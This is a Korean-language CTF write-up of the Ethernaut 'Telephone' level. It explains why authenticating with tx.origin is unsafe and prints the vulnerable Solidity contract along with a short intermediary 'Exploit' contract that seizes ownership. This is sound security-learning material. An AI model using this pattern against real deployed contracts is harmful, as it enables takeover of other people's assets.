이번 문제는 Telephone
이 level의 ownership을 획득하면 되고, coin flip 문제와 마찬가지로 Beyond the console을 보면 되는데, 저번 문제에서 봤으므로 넘어가도록 하쟈.
코드가 무척 짧다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
생성자는 늘 보던거랑 비슷하니 넘어가도록 하고,
changeOwner라는 함수는 주소를 인자로 받고, 만약 tx.origin과 msg.sender가 같지 않으면 인자로 받은 주소를 owner로 만들어준다.
즉 tx.origin != msg.sender
를 만족시키면 문제가 풀리는건데, tx.origin이라는 것이 뭔지를 몰라 찾아봤다.
tx.origin은 solidity에서 사용하는 글로벌 변수로 처음 컨트랙트를 호출한 계정의 주소를 저장한다.
tx.origin을 인증에 사용하게 되면 피싱 공격에 취약해질 수 있는데, 그 공격을 좀 더 쉽게 구현해 놓은 것이 Telephone 문제인 듯 하다.
msg.sender는 컨트랙트를 마지막으로 호출한 계정의 주소를 가지게 되는데, 만약 A 컨트랙트가 Telephone 컨트랙트를 호출할 경우 msg.sender의 계정은 A 컨트랙트의 계정이게 된다.
이 점을 이용해서 다른 컨트랙트를 작성하고, 그 컨트랙트를 통해 Telephone 컨트랙트의 changeOwner 함수를 호출하면 owner를 바꿀 수 있을 것이다.
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract Exploit{
ITelephone public telephone;
constructor(address _level) {
telephone = ITelephone(_level);
}
function changeOwner(address _owner) public {
telephone.changeOwner(_owner);
}
}
코드는 이렇게 작성하였고, 컨트랙트를 Deploy한 이후 changeOwner함수에 내 지갑의 주소를 인자로 호출하면
owner를 바꿀 수 있다.
이제 Submit instance를 클릭하면
Level을 클리어할 수 있다.
Uploaded by N2T